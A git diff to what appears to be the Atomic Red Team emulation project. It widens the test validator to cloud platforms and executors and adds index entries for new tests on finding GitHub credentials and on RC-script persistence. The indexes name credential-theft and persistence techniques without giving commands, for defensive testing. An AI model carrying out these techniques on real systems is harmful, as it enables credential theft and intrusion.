diff --git a/atomic_red_team/atomic_red_team.rb b/atomic_red_team/atomic_red_team.rb
index 46a1266c..24a4c811 100755
--- a/atomic_red_team/atomic_red_team.rb
+++ b/atomic_red_team/atomic_red_team.rb
@@ -108,7 +108,7 @@ class AtomicRedTeam
       raise("`atomic_tests[#{i}].supported_platforms` element is required") unless atomic.has_key?('supported_platforms')
       raise("`atomic_tests[#{i}].supported_platforms` element must be an Array (was a #{atomic['supported_platforms'].class.name})") unless atomic['supported_platforms'].is_a?(Array)
   
-      valid_supported_platforms = ['windows', 'macos', 'linux']
+      valid_supported_platforms = ['windows', 'macos', 'linux', 'office-365', 'azure-ad', 'google-workspace', 'saas', 'iaas', 'containers', 'iaas:aws', 'iaas:azure', 'iaas:gcp']
       atomic['supported_platforms'].each do |platform|
         if !valid_supported_platforms.include?(platform)
           raise("`atomic_tests[#{i}].supported_platforms` '#{platform}' must be one of #{valid_supported_platforms.join(', ')}")
@@ -142,7 +142,7 @@ class AtomicRedTeam
       raise("`atomic_tests[#{i}].executor.name` element must be a string") unless executor['name'].is_a?(String)
       raise("`atomic_tests[#{i}].executor.name` element must be lowercased and underscored (was #{executor['name']})") unless executor['name'] =~ /[a-z_]+/
   
-      valid_executor_types = ['command_prompt', 'sh', 'bash', 'powershell', 'manual']
+      valid_executor_types = ['command_prompt', 'sh', 'bash', 'powershell', 'manual', 'aws', 'az', 'gcloud']
       case executor['name']
         when 'manual'
           raise("`atomic_tests[#{i}].executor.steps` element is required") unless executor.has_key?('steps')
@@ -152,7 +152,7 @@ class AtomicRedTeam
                                          string: executor['steps'],
                                          string_description: "atomic_tests[#{i}].executor.steps"
 
-        when 'command_prompt', 'sh', 'bash', 'powershell'
+        when 'command_prompt', 'sh', 'bash', 'powershell', 'aws', 'az', 'gcloud'
           raise("`atomic_tests[#{i}].executor.command` element is required") unless executor.has_key?('command')
           raise("`atomic_tests[#{i}].executor.command` element must be a string") unless executor['command'].is_a?(String)
 
diff --git a/atomic_red_team/spec.yaml b/atomic_red_team/spec.yaml
index 0f46a9c4..9ccd2b42 100644
--- a/atomic_red_team/spec.yaml
+++ b/atomic_red_team/spec.yaml
@@ -51,6 +51,15 @@ atomic_tests:
   # - windows
   # - macos
   # - linux
+  # - office-365
+  # - azure-ad
+  # - google-workspace
+  # - saas
+  # - iaas
+  # - containers
+  # - iaas:gcp
+  # - iaas:azure
+  # - iaas:aws
   supported_platforms:
     - windows
 
@@ -106,6 +115,7 @@ atomic_tests:
   # a list of executors that can execute the attack commands of this atomic test. There are almost always going to be one of these
   # per test, but there are cases where you may have multiple - for example, separate executors for `sh`
   # and `bash` when working on linux OSes.
+  # Names of cloud/container specific runtimes can also be used, such as `aws`, `az`, and `gcloud`.
   executors:
   # the name of the executor describes the framework or application in which the test should be executed.
   #
diff --git a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-linux.json b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-linux.json
index 31d2834b..fbe9e18a 100644
--- a/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-linux.json
+++ b/atomics/Indexes/Attack-Navigator-Layers/art-navigator-layer-linux.json
@@ -1 +1 @@
-{"version":"4.1","name":"Atomic Red Team (Linux)","description":"Atomic Red Team (Linux) MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1003.008","score":100,"enabled":true},{"techniqueID":"T1003","score":100,"enabled":true},{"techniqueID":"T1014","score":100,"enabled":true},{"techniqueID":"T1016","score":100,"enabled":true},{"techniqueID":"T1018","score":100,"enabled":true},{"techniqueID":"T1027.001","score":100,"enabled":true},{"techniqueID":"T1027","score":100,"enabled":true},{"techniqueID":"T1027.002","score":100,"enabled":true},{"techniqueID":"T1027","score":100,"enabled":true},{"techniqueID":"T1030","score":100,"enabled":true},{"techniqueID":"T1033","score":100,"enabled":true},{"techniqueID":"T1036.003","score":100,"enabled":true},{"techniqueID":"T1036","score":100,"enabled":true},{"techniqueID":"T1040","score":100,"enabled":true},{"techniqueID":"T1046","score":100,"enabled":true},{"techniqueID":"T1048.003","score":100,"enabled":true},{"techniqueID":"T1048","score":100,"enabled":true},{"techniqueID":"T1048","score":100,"enabled":true},{"techniqueID":"T1049","score":100,"enabled":true},{"techniqueID":"T1053.001","score":100,"enabled":true},{"techniqueID":"T1053","score":100,"enabled":true},{"techniqueID":"T1053.003","score":100,"enabled":true},{"techniqueID":"T1053.006","score":100,"enabled":true},{"techniqueID":"T1053.007","score":100,"enabled":true},{"techniqueID":"T1056.001","score":100,"enabled":true},{"techniqueID":"T1056","score":100,"enabled":true},{"techniqueID":"T1057","score":100,"enabled":true},{"techniqueID":"T1059.004","score":100,"enabled":true},{"techniqueID":"T1059","score":100,"enabled":true},{"techniqueID":"T1059.006","score":100,"enabled":true},{"techniqueID":"T1069.001","score":100,"enabled":true},{"techniqueID":"T1069","score":100,"enabled":true},{"techniqueID":"T1070.002","score":100,"enabled":true},{"techniqueID":"T1070","score":100,"enabled":true},{"techniqueID":"T1070.003","score":100,"enabled":true},{"techniqueID":"T1070.004","score":100,"enabled":true},{"techniqueID":"T1070.006","score":100,"enabled":true},{"techniqueID":"T1071.001","score":100,"enabled":true},{"techniqueID":"T1071","score":100,"enabled":true},{"techniqueID":"T1074.001","score":100,"enabled":true},{"techniqueID":"T1074","score":100,"enabled":true},{"techniqueID":"T1082","score":100,"enabled":true},{"techniqueID":"T1083","score":100,"enabled":true},{"techniqueID":"T1087.001","score":100,"enabled":true},{"techniqueID":"T1087","score":100,"enabled":true},{"techniqueID":"T1090.001","score":100,"enabled":true},{"techniqueID":"T1090","score":100,"enabled":true},{"techniqueID":"T1098.004","score":100,"enabled":true},{"techniqueID":"T1098","score":100,"enabled":true},{"techniqueID":"T1105","score":100,"enabled":true},{"techniqueID":"T1113","score":100,"enabled":true},{"techniqueID":"T1132.001","score":100,"enabled":true},{"techniqueID":"T1132","score":100,"enabled":true},{"techniqueID":"T1135","score":100,"enabled":true},{"techniqueID":"T1136.001","score":100,"enabled":true},{"techniqueID":"T1136","score":100,"enabled":true},{"techniqueID":"T1176","score":100,"enabled":true},{"techniqueID":"T1201","score":100,"enabled":true},{"techniqueID":"T1217","score":100,"enabled":true},{"techniqueID":"T1222.002","score":100,"enabled":true},{"techniqueID":"T1222","score":100,"enabled":true},{"techniqueID":"T1485","score":100,"enabled":true},{"techniqueID":"T1486","score":100,"enabled":true},{"techniqueID":"T1496","score":100,"enabled":true},{"techniqueID":"T1497.001","score":100,"enabled":true},{"techniqueID":"T1497","score":100,"enabled":true},{"techniqueID":"T1518.001","score":100,"enabled":true},{"techniqueID":"T1518","score":100,"enabled":true},{"techniqueID":"T1529","score":100,"enabled":true},{"techniqueID":"T1543.002","score":100,"enabled":true},{"techniqueID":"T1543","score":100,"enabled":true},{"techniqueID":"T1546.004","score":100,"enabled":true},{"techniqueID":"T1546","score":100,"enabled":true},{"techniqueID":"T1546.005","score":100,"enabled":true},{"techniqueID":"T1547.006","score":100,"enabled":true},{"techniqueID":"T1547","score":100,"enabled":true},{"techniqueID":"T1548.001","score":100,"enabled":true},{"techniqueID":"T1548","score":100,"enabled":true},{"techniqueID":"T1548.003","score":100,"enabled":true},{"techniqueID":"T1552.001","score":100,"enabled":true},{"techniqueID":"T1552","score":100,"enabled":true},{"techniqueID":"T1552.003","score":100,"enabled":true},{"techniqueID":"T1552.004","score":100,"enabled":true},{"techniqueID":"T1552.007","score":100,"enabled":true},{"techniqueID":"T1553.004","score":100,"enabled":true},{"techniqueID":"T1553","score":100,"enabled":true},{"techniqueID":"T1560.001","score":100,"enabled":true},{"techniqueID":"T1560","score":100,"enabled":true},{"techniqueID":"T1560.002","score":100,"enabled":true},{"techniqueID":"T1562.001","score":100,"enabled":true},{"techniqueID":"T1562","score":100,"enabled":true},{"techniqueID":"T1562.003","score":100,"enabled":true},{"techniqueID":"T1562.004","score":100,"enabled":true},{"techniqueID":"T1562.006","score":100,"enabled":true},{"techniqueID":"T1564.001","score":100,"enabled":true},{"techniqueID":"T1564","score":100,"enabled":true},{"techniqueID":"T1571","score":100,"enabled":true},{"techniqueID":"T1574.006","score":100,"enabled":true},{"techniqueID":"T1574","score":100,"enabled":true},{"techniqueID":"T1609","score":100,"enabled":true},{"techniqueID":"T1610","score":100,"enabled":true},{"techniqueID":"T1611","score":100,"enabled":true}]}
\ No newline at end of file
+{"version":"4.1","name":"Atomic Red Team (Linux)","description":"Atomic Red Team (Linux) MITRE ATT&CK Navigator Layer","domain":"mitre-enterprise","gradient":{"colors":["#ce232e","#ce232e"],"minValue":0,"maxValue":100},"legendItems":[{"label":"Has at least one test","color":"#ce232e"}],"techniques":[{"techniqueID":"T1003.008","score":100,"enabled":true},{"techniqueID":"T1003","score":100,"enabled":true},{"techniqueID":"T1014","score":100,"enabled":true},{"techniqueID":"T1016","score":100,"enabled":true},{"techniqueID":"T1018","score":100,"enabled":true},{"techniqueID":"T1027.001","score":100,"enabled":true},{"techniqueID":"T1027","score":100,"enabled":true},{"techniqueID":"T1027.002","score":100,"enabled":true},{"techniqueID":"T1027","score":100,"enabled":true},{"techniqueID":"T1030","score":100,"enabled":true},{"techniqueID":"T1033","score":100,"enabled":true},{"techniqueID":"T1036.003","score":100,"enabled":true},{"techniqueID":"T1036","score":100,"enabled":true},{"techniqueID":"T1037.004","score":100,"enabled":true},{"techniqueID":"T1037","score":100,"enabled":true},{"techniqueID":"T1040","score":100,"enabled":true},{"techniqueID":"T1046","score":100,"enabled":true},{"techniqueID":"T1048.003","score":100,"enabled":true},{"techniqueID":"T1048","score":100,"enabled":true},{"techniqueID":"T1048","score":100,"enabled":true},{"techniqueID":"T1049","score":100,"enabled":true},{"techniqueID":"T1053.001","score":100,"enabled":true},{"techniqueID":"T1053","score":100,"enabled":true},{"techniqueID":"T1053.003","score":100,"enabled":true},{"techniqueID":"T1053.006","score":100,"enabled":true},{"techniqueID":"T1053.007","score":100,"enabled":true},{"techniqueID":"T1056.001","score":100,"enabled":true},{"techniqueID":"T1056","score":100,"enabled":true},{"techniqueID":"T1057","score":100,"enabled":true},{"techniqueID":"T1059.004","score":100,"enabled":true},{"techniqueID":"T1059","score":100,"enabled":true},{"techniqueID":"T1059.006","score":100,"enabled":true},{"techniqueID":"T1069.001","score":100,"enabled":true},{"techniqueID":"T1069","score":100,"enabled":true},{"techniqueID":"T1070.002","score":100,"enabled":true},{"techniqueID":"T1070","score":100,"enabled":true},{"techniqueID":"T1070.003","score":100,"enabled":true},{"techniqueID":"T1070.004","score":100,"enabled":true},{"techniqueID":"T1070.006","score":100,"enabled":true},{"techniqueID":"T1071.001","score":100,"enabled":true},{"techniqueID":"T1071","score":100,"enabled":true},{"techniqueID":"T1074.001","score":100,"enabled":true},{"techniqueID":"T1074","score":100,"enabled":true},{"techniqueID":"T1082","score":100,"enabled":true},{"techniqueID":"T1083","score":100,"enabled":true},{"techniqueID":"T1087.001","score":100,"enabled":true},{"techniqueID":"T1087","score":100,"enabled":true},{"techniqueID":"T1090.001","score":100,"enabled":true},{"techniqueID":"T1090","score":100,"enabled":true},{"techniqueID":"T1098.004","score":100,"enabled":true},{"techniqueID":"T1098","score":100,"enabled":true},{"techniqueID":"T1105","score":100,"enabled":true},{"techniqueID":"T1113","score":100,"enabled":true},{"techniqueID":"T1132.001","score":100,"enabled":true},{"techniqueID":"T1132","score":100,"enabled":true},{"techniqueID":"T1135","score":100,"enabled":true},{"techniqueID":"T1136.001","score":100,"enabled":true},{"techniqueID":"T1136","score":100,"enabled":true},{"techniqueID":"T1176","score":100,"enabled":true},{"techniqueID":"T1201","score":100,"enabled":true},{"techniqueID":"T1217","score":100,"enabled":true},{"techniqueID":"T1222.002","score":100,"enabled":true},{"techniqueID":"T1222","score":100,"enabled":true},{"techniqueID":"T1485","score":100,"enabled":true},{"techniqueID":"T1486","score":100,"enabled":true},{"techniqueID":"T1496","score":100,"enabled":true},{"techniqueID":"T1497.001","score":100,"enabled":true},{"techniqueID":"T1497","score":100,"enabled":true},{"techniqueID":"T1518.001","score":100,"enabled":true},{"techniqueID":"T1518","score":100,"enabled":true},{"techniqueID":"T1529","score":100,"enabled":true},{"techniqueID":"T1543.002","score":100,"enabled":true},{"techniqueID":"T1543","score":100,"enabled":true},{"techniqueID":"T1546.004","score":100,"enabled":true},{"techniqueID":"T1546","score":100,"enabled":true},{"techniqueID":"T1546.005","score":100,"enabled":true},{"techniqueID":"T1547.006","score":100,"enabled":true},{"techniqueID":"T1547","score":100,"enabled":true},{"techniqueID":"T1548.001","score":100,"enabled":true},{"techniqueID":"T1548","score":100,"enabled":true},{"techniqueID":"T1548.003","score":100,"enabled":true},{"techniqueID":"T1552.001","score":100,"enabled":true},{"techniqueID":"T1552","score":100,"enabled":true},{"techniqueID":"T1552.003","score":100,"enabled":true},{"techniqueID":"T1552.004","score":100,"enabled":true},{"techniqueID":"T1552.007","score":100,"enabled":true},{"techniqueID":"T1553.004","score":100,"enabled":true},{"techniqueID":"T1553","score":100,"enabled":true},{"techniqueID":"T1560.001","score":100,"enabled":true},{"techniqueID":"T1560","score":100,"enabled":true},{"techniqueID":"T1560.002","score":100,"enabled":true},{"techniqueID":"T1562.001","score":100,"enabled":true},{"techniqueID":"T1562","score":100,"enabled":true},{"techniqueID":"T1562.003","score":100,"enabled":true},{"techniqueID":"T1562.004","score":100,"enabled":true},{"techniqueID":"T1562.006","score":100,"enabled":true},{"techniqueID":"T1564.001","score":100,"enabled":true},{"techniqueID":"T1564","score":100,"enabled":true},{"techniqueID":"T1571","score":100,"enabled":true},{"techniqueID":"T1574.006","score":100,"enabled":true},{"techniqueID":"T1574","score":100,"enabled":true},{"techniqueID":"T1609","score":100,"enabled":true},{"techniqueID":"T1610","score":100,"enabled":true},{"techniqueID":"T1611","score":100,"enabled":true}]}
\ No newline at end of file
diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv
index 0e530577..da09d5a0 100644
--- a/atomics/Indexes/Indexes-CSV/index.csv
+++ b/atomics/Indexes/Indexes-CSV/index.csv
@@ -9,6 +9,7 @@ credential-access,T1552.001,Credentials In Files,1,Extract Browser and System cr
 credential-access,T1552.001,Credentials In Files,2,Extract passwords with grep,bd4cf0d1-7646-474e-8610-78ccf5a097c4,sh
 credential-access,T1552.001,Credentials In Files,3,Extracting passwords with findstr,0e56bf29-ff49-4ea5-9af4-3b81283fd513,powershell
 credential-access,T1552.001,Credentials In Files,4,Access unattend.xml,367d4004-5fc0-446d-823f-960c74ae52c3,command_prompt
+credential-access,T1552.001,Credentials In Files,5,Find and Access Github Credentials,da4f751a-020b-40d7-b9ff-d433b7799803,bash
 credential-access,T1555,Credentials from Password Stores,1,Extract Windows Credential Manager via VBA,234f9b7c-b53d-4f32-897b-b880a6c9ea7b,powershell
 credential-access,T1555.003,Credentials from Web Browsers,1,Run Chrome-password Collector,8c05b133-d438-47ca-a630-19cc464c4622,powershell
 credential-access,T1555.003,Credentials from Web Browsers,2,Search macOS Safari Cookies,c1402f7b-67ca-43a8-b5f3-3143abedc01b,sh
@@ -160,6 +161,8 @@ privilege-escalation,T1055.012,Process Hollowing,2,RunPE via VBA,3ad4a037-1598-4
 privilege-escalation,T1055,Process Injection,1,Shellcode execution via VBA,1c91e740-1729-4329-b779-feba6e71d048,powershell
 privilege-escalation,T1055,Process Injection,2,Remote Process Injection in LSASS via mimikatz,3203ad24-168e-4bec-be36-f79b13ef8a83,command_prompt
 privilege-escalation,T1037.004,RC Scripts,1,rc.common,97a48daa-8bca-4bc0-b1a9-c1d163e762de,bash
+privilege-escalation,T1037.004,RC Scripts,2,rc.common,c33f3d80-5f04-419b-a13a-854d1cbdbf3a,bash
+privilege-escalation,T1037.004,RC Scripts,3,rc.local,126f71af-e1c9-405c-94ef-26a47b16c102,bash
 privilege-escalation,T1547.007,Re-opened Applications,1,Re-Opened Applications,5fefd767-ef54-4ac6-84d3-751ab85e8aba,manual
 privilege-escalation,T1547.007,Re-opened Applications,2,Re-Opened Applications,5f5b71da-e03f-42e7-ac98-d63f9e0465cb,sh
 privilege-escalation,T1547.001,Registry Run Keys / Startup Folder,1,Reg Key Run,e55be3fd-3521-4610-9d1a-e210e42dcf05,command_prompt
@@ -536,6 +539,8 @@ persistence,T1547.011,Plist Modification,1,Plist Modification,394a538e-09bb-4a4a
 persistence,T1547.010,Port Monitors,1,Add Port Monitor persistence in Registry,d34ef297-f178-4462-871e-9ce618d44e50,command_prompt
 persistence,T1546.013,PowerShell Profile,1,Append malicious start-process cmdlet,090e5aa5-32b6-473b-a49b-21e843a56896,powershell
 persistence,T1037.004,RC Scripts,1,rc.common,97a48daa-8bca-4bc0-b1a9-c1d163e762de,bash
+persistence,T1037.004,RC Scripts,2,rc.common,c33f3d80-5f04-419b-a13a-854d1cbdbf3a,bash
+persistence,T1037.004,RC Scripts,3,rc.local,126f71af-e1c9-405c-94ef-26a47b16c102,bash
 persistence,T1547.007,Re-opened Applications,1,Re-Opened Applications,5fefd767-ef54-4ac6-84d3-751ab85e8aba,manual
 persistence,T1547.007,Re-opened Applications,2,Re-Opened Applications,5f5b71da-e03f-42e7-ac98-d63f9e0465cb,sh
 persistence,T1547.001,Registry Run Keys / Startup Folder,1,Reg Key Run,e55be3fd-3521-4610-9d1a-e210e42dcf05,command_prompt
diff --git a/atomics/Indexes/Indexes-CSV/linux-index.csv b/atomics/Indexes/Indexes-CSV/linux-index.csv
index d4e71a68..d7c342f8 100644
--- a/atomics/Indexes/Indexes-CSV/linux-index.csv
+++ b/atomics/Indexes/Indexes-CSV/linux-index.csv
@@ -5,6 +5,7 @@ credential-access,T1552.003,Bash History,1,Search Through Bash History,3cfde62b-
 credential-access,T1552.007,Container API,1,ListSecrets,43c3a49d-d15c-45e6-b303-f6e177e44a9a,bash
 credential-access,T1552.007,Container API,2,Cat the contents of a Kubernetes service account token file,788e0019-a483-45da-bcfe-96353d46820f,sh
 credential-access,T1552.001,Credentials In Files,2,Extract passwords with grep,bd4cf0d1-7646-474e-8610-78ccf5a097c4,sh
+credential-access,T1552.001,Credentials In Files,5,Find and Access Github Credentials,da4f751a-020b-40d7-b9ff-d433b7799803,bash
 credential-access,T1056.001,Keylogging,2,Living off the land Terminal Input Capture on Linux with pam.d,9c6bdb34-a89f-4b90-acb1-5970614c711b,sh
 credential-access,T1040,Network Sniffing,1,Packet Capture Linux,7fe741f7-b265-4951-a7c7-320889083b3e,bash
 credential-access,T1552.004,Private Keys,2,Discover Private SSH Keys,46959285-906d-40fa-9437-5a439accd878,sh
@@ -32,6 +33,8 @@ privilege-escalation,T1574.006,Dynamic Linker Hijacking,1,Shared Library Injecti
 privilege-escalation,T1574.006,Dynamic Linker Hijacking,2,Shared Library Injection via LD_PRELOAD,bc219ff7-789f-4d51-9142-ecae3397deae,bash
 privilege-escalation,T1611,Escape to Host,1,Deploy container using nsenter container escape,0b2f9520-a17a-4671-9dba-3bd034099fff,sh
 privilege-escalation,T1547.006,Kernel Modules and Extensions,1,Linux - Load Kernel Module via insmod,687dcb93-9656-4853-9c36-9977315e9d23,bash
+privilege-escalation,T1037.004,RC Scripts,2,rc.common,c33f3d80-5f04-419b-a13a-854d1cbdbf3a,bash
+privilege-escalation,T1037.004,RC Scripts,3,rc.local,126f71af-e1c9-405c-94ef-26a47b16c102,bash
 privilege-escalation,T1548.001,Setuid and Setgid,1,Make and modify binary from C source,896dfe97-ae43-4101-8e96-9a7996555d80,sh
 privilege-escalation,T1548.001,Setuid and Setgid,2,Set a SetUID flag on file,759055b3-3885-4582-a8ec-c00c9d64dd79,sh
 privilege-escalation,T1548.001,Setuid and Setgid,3,Set a SetGID flag on file,db55f666-7cba-46c6-9fe6-205a05c3242c,sh
@@ -157,6 +160,8 @@ persistence,T1574.006,Dynamic Linker Hijacking,2,Shared Library Injection via LD
 persistence,T1547.006,Kernel Modules and Extensions,1,Linux - Load Kernel Module via insmod,687dcb93-9656-4853-9c36-9977315e9d23,bash
 persistence,T1136.001,Local Account,1,Create a user account on a Linux system,40d8eabd-e394-46f6-8785-b9bfa1d011d2,bash
 persistence,T1136.001,Local Account,5,Create a new user in Linux with `root` UID and GID.,a1040a30-d28b-4eda-bd99-bb2861a4616c,bash
+persistence,T1037.004,RC Scripts,2,rc.common,c33f3d80-5f04-419b-a13a-854d1cbdbf3a,bash
+persistence,T1037.004,RC Scripts,3,rc.local,126f71af-e1c9-405c-94ef-26a47b16c102,bash
 persistence,T1098.004,SSH Authorized Keys,1,Modify SSH Authorized Keys,342cc723-127c-4d3a-8292-9c0c6b4ecadc,bash
 persistence,T1543.002,Systemd Service,1,Create Systemd Service,d9e4f24f-aa67-4c6e-bcbf-85622b697a7c,bash
 persistence,T1053.006,Systemd Timers,1,Create Systemd Service and Timer,f4983098-bb13-44fb-9b2c-46149961807b,bash
diff --git a/atomics/Indexes/Indexes-CSV/macos-index.csv b/atomics/Indexes/Indexes-CSV/macos-index.csv
index 987cd38e..721cf97b 100644
--- a/atomics/Indexes/Indexes-CSV/macos-index.csv
+++ b/atomics/Indexes/Indexes-CSV/macos-index.csv
@@ -2,6 +2,7 @@ Tactic,Technique #,Technique Name,Test #,Test Name,Test GUID,Executor Name
 credential-access,T1552.003,Bash History,1,Search Through Bash History,3cfde62b-7c33-4b26-a61e-755d6131c8ce,sh
 credential-access,T1552.001,Credentials In Files,1,Extract Browser and System credentials with LaZagne,9e507bb8-1d30-4e3b-a49b-cb5727d7ea79,bash
 credential-access,T1552.001,Credentials In Files,2,Extract passwords with grep,bd4cf0d1-7646-474e-8610-78ccf5a097c4,sh
+credential-access,T1552.001,Credentials In Files,5,Find and Access Github Credentials,da4f751a-020b-40d7-b9ff-d433b7799803,bash
 credential-access,T1555.003,Credentials from Web Browsers,2,Search macOS Safari Cookies,c1402f7b-67ca-43a8-b5f3-3143abedc01b,sh
 credential-access,T1056.002,GUI Input Capture,1,AppleScript - Prompt User for Password,76628574-0bc1-4646-8fe2-8f4427b47d15,bash
 credential-access,T1555.001,Keychain,1,Keychain,1864fdec-ff86-4452-8c30-f12507582a93,sh
diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md
index a9ae5a7c..6c7e9586 100644
--- a/atomics/Indexes/Indexes-Markdown/index.md
+++ b/atomics/Indexes/Indexes-Markdown/index.md
@@ -21,6 +21,7 @@
   - Atomic Test #2: Extract passwords with grep [macos, linux]
   - Atomic Test #3: Extracting passwords with findstr [windows]
   - Atomic Test #4: Access unattend.xml [windows]
+  - Atomic Test #5: Find and Access Github Credentials [macos, linux]
 - [T1555 Credentials from Password Stores](../../T1555/T1555.md)
   - Atomic Test #1: Extract Windows Credential Manager via VBA [windows]
 - [T1555.003 Credentials from Web Browsers](../../T1555.003/T1555.003.md)
@@ -324,6 +325,8 @@
 - T1055.008 Ptrace System Calls [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
 - [T1037.004 RC Scripts](../../T1037.004/T1037.004.md)
   - Atomic Test #1: rc.common [macos]
+  - Atomic Test #2: rc.common [linux]
+  - Atomic Test #3: rc.local [linux]
 - [T1547.007 Re-opened Applications](../../T1547.007/T1547.007.md)
   - Atomic Test #1: Re-Opened Applications [macos]
   - Atomic Test #2: Re-Opened Applications [macos]
@@ -967,6 +970,8 @@
 - T1547.012 Print Processors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
 - [T1037.004 RC Scripts](../../T1037.004/T1037.004.md)
   - Atomic Test #1: rc.common [macos]
+  - Atomic Test #2: rc.common [linux]
+  - Atomic Test #3: rc.local [linux]
 - T1542.004 ROMMONkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
 - [T1547.007 Re-opened Applications](../../T1547.007/T1547.007.md)
   - Atomic Test #1: Re-Opened Applications [macos]
diff --git a/atomics/Indexes/Indexes-Markdown/linux-index.md b/atomics/Indexes/Indexes-Markdown/linux-index.md
index d1576879..de2b75a9 100644
--- a/atomics/Indexes/Indexes-Markdown/linux-index.md
+++ b/atomics/Indexes/Indexes-Markdown/linux-index.md
@@ -14,6 +14,7 @@
 - T1110.004 Credential Stuffing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
 - [T1552.001 Credentials In Files](../../T1552.001/T1552.001.md)
   - Atomic Test #2: Extract passwords with grep [macos, linux]
+  - Atomic Test #5: Find and Access Github Credentials [macos, linux]
 - T1555 Credentials from Password Stores [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
 - T1555.003 Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
 - T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
@@ -122,7 +123,9 @@
 - T1055.009 Proc Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
 - T1055 Process Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
 - T1055.008 Ptrace System Calls [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
-- T1037.004 RC Scripts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
+- [T1037.004 RC Scripts](../../T1037.004/T1037.004.md)
+  - Atomic Test #2: rc.common [linux]
+  - Atomic Test #3: rc.local [linux]
 - T1053 Scheduled Task/Job [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
 - [T1548.001 Setuid and Setgid](../../T1548.001/T1548.001.md)
   - Atomic Test #1: Make and modify binary from C source [macos, linux]
@@ -451,7 +454,9 @@
 - T1556.003 Pluggable Authentication Modules [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
 - T1205.001 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
 - T1542 Pre-OS Boot [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
-- T1037.004 RC Scripts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
+- [T1037.004 RC Scripts](../../T1037.004/T1037.004.md)
+  - Atomic Test #2: rc.common [linux]
+  - Atomic Test #3: rc.local [linux]
 - T1542.004 ROMMONkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
 - T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
 - T1505.001 SQL Stored Procedures [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
diff --git a/atomics/Indexes/Indexes-Markdown/macos-index.md b/atomics/Indexes/Indexes-Markdown/macos-index.md
index baee6de3..215f549a 100644
--- a/atomics/Indexes/Indexes-Markdown/macos-index.md
+++ b/atomics/Indexes/Indexes-Markdown/macos-index.md
@@ -8,6 +8,7 @@
 - [T1552.001 Credentials In Files](../../T1552.001/T1552.001.md)
   - Atomic Test #1: Extract Browser and System credentials with LaZagne [macos]
   - Atomic Test #2: Extract passwords with grep [macos, linux]
+  - Atomic Test #5: Find and Access Github Credentials [macos, linux]
 - T1555 Credentials from Password Stores [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)
 - [T1555.003 Credentials from Web Browsers](../../T1555.003/T1555.003.md)
   - Atomic Test #2: Search macOS Safari Cookies [macos]
diff --git a/atomics/Indexes/Matrices/linux-matrix.md b/atomics/Indexes/Matrices/linux-matrix.md
index 241437be..420df707 100644
--- a/atomics/Indexes/Matrices/linux-matrix.md
+++ b/atomics/Indexes/Matrices/linux-matrix.md
@@ -23,7 +23,7 @@
 |  | [Systemd Timers](../../T1053.006/T1053.006.md) | [Dynamic Linker Hijacking](../../T1574.006/T1574.006.md) | Proc Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Disable or Modify Tools](../../T1562.001/T1562.001.md) | Password Cracking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Permission Groups Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  | [Keylogging](../../T1056.001/T1056.001.md) |  | [Internal Proxy](../../T1090.001/T1090.001.md) | [Resource Hijacking](../../T1496/T1496.md) |
 |  | [Unix Shell](../../T1059.004/T1059.004.md) | Event Triggered Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Process Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Guessing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Discovery](../../T1057/T1057.md) |  | [Local Data Staging](../../T1074.001/T1074.001.md) |  | Junk Data [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
 |  | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exchange Email Delegate Permissions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Ptrace System Calls [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Policy Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Managers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](../../T1018/T1018.md) |  | Man-in-the-Middle [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |  | Mail Protocols [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Service Exhaustion Flood [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) |
